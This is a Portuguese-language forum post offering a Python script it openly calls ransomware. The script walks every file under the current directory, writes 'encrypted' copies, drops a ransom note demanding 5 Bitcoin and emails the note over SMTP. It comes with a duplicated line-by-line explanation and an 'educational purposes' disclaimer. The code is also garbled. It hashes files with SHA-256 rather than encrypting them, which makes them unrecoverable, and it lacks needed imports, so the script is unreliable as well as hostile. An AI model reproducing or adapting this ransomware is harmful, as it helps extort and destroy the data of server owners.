- Entrou
- 7 Outubro 2023
- Pontos de reação
- 501
- Tópicos Autor
- #1
Este script em Python é um programa malicioso que bloqueia e codifica todos os arquivos de um servidor. O programa gera uma chave de criptografia aleatória e a utiliza para codificar todos os arquivos. Em seguida, cria um arquivo de resgate solicitando o pagamento em Bitcoin para desbloquear os arquivos.
Linha 1: Importe as bibliotecas necessárias.
Linha 2: Configure as informações do servidor de e-mail.
Linha 3: Gere uma chave de criptografia aleatória.
Linha 4: Crie um dicionário para armazenar os arquivos que serão criptografados.
Linha 5: Inicie um loop para realizar a criptografia em todos os arquivos.
Linha 6: Abra o arquivo desejado.
Linha 7: Realize a criptografia no arquivo aberto.
Linha 8: Salve o arquivo já criptografado.
Linha 9: Adicione o arquivo já criptografado ao dicionário.
Linha 10: Crie um arquivo de resgate como precaução adicional.
Linha 11: Envie um e-mail contendo o arquivo de resgate anexado.
#Lembra-se de usar todos os conhecimentos adquiridos para fins educacionais, e caso tenham gostado do conteúdo, deixem aquele likezinh e siga o pai, tmj
Python:
#Importa as bibliotecas necessárias
import os
import time
import random
import base64
import hashlib
import smtplib
# Define as informações do servidor de e-mail
smtp_server = "smtp.protonmail.com"
smtp_port = 443
sender_email = "seu_email@protonmail.com"
sender_password = "sua_senha"
receiver_email = "destinatario_email@protonmail.com"
# Cria uma chave de criptografia aleatória
key = base64.b64encode(os.urandom(32))
# Cria um dicionário para armazenar os arquivos criptografados
criptografados = {}
# Inicia um loop para criptografar todos os arquivos
for pasta, subpastas, arquivos in os.walk("."):
for arquivo in arquivos:
# Abre o arquivo
with open(os.path.join(pasta, arquivo), "rb") as f:
data = f.read()
# Criptografa o arquivo
criptografado = hashlib.sha256(key + data).digest()
# Salva o arquivo criptografado
with open(os.path.join(pasta, arquivo + ".enc"), "wb") as f:
f.write(criptografado)
# Adiciona o arquivo criptografado ao dicionário
criptografados[os.path.join(pasta, arquivo)] = criptografado
# Cria um arquivo de resgate
with open("ransomware.txt", "w") as f:
f.write("Seus arquivos foram criptografados. Para descriptografá-los, envie 5 Bitcoins para o endereço: 1234567890abcdefg")
# Envia um e-mail com o arquivo de resgate
with open("ransomware.txt", "rb") as f:
message = MIMEMultipart()
message["Subject"] = "Seus arquivos foram criptografados"
message["From"] = sender_email
message["To"] = receiver_email
body = "Seus arquivos foram criptografados. Para descriptografá-los, abra o arquivo ransomware.txt"
message.attach(MIMEText(body, "plain"))
attachment = MIMEBase("application", "octet-stream")
attachment.set_payload(f.read())
encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment; filename=ransomware.txt")
message.attach(attachment)
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(sender_email, sender_password)
server.sendmail(sender_email, receiver_email, message.as_string())
server.quit()
Linha 2: Configure as informações do servidor de e-mail.
Linha 3: Gere uma chave de criptografia aleatória.
Linha 4: Crie um dicionário para armazenar os arquivos que serão criptografados.
Linha 5: Inicie um loop para realizar a criptografia em todos os arquivos.
Linha 6: Abra o arquivo desejado.
Linha 7: Realize a criptografia no arquivo aberto.
Linha 8: Salve o arquivo já criptografado.
Linha 9: Adicione o arquivo já criptografado ao dicionário.
Linha 10: Crie um arquivo de resgate como precaução adicional.
Linha 11: Envie um e-mail contendo o arquivo de resgate anexado.
#Lembra-se de usar todos os conhecimentos adquiridos para fins educacionais, e caso tenham gostado do conteúdo, deixem aquele likezinh e siga o pai, tmj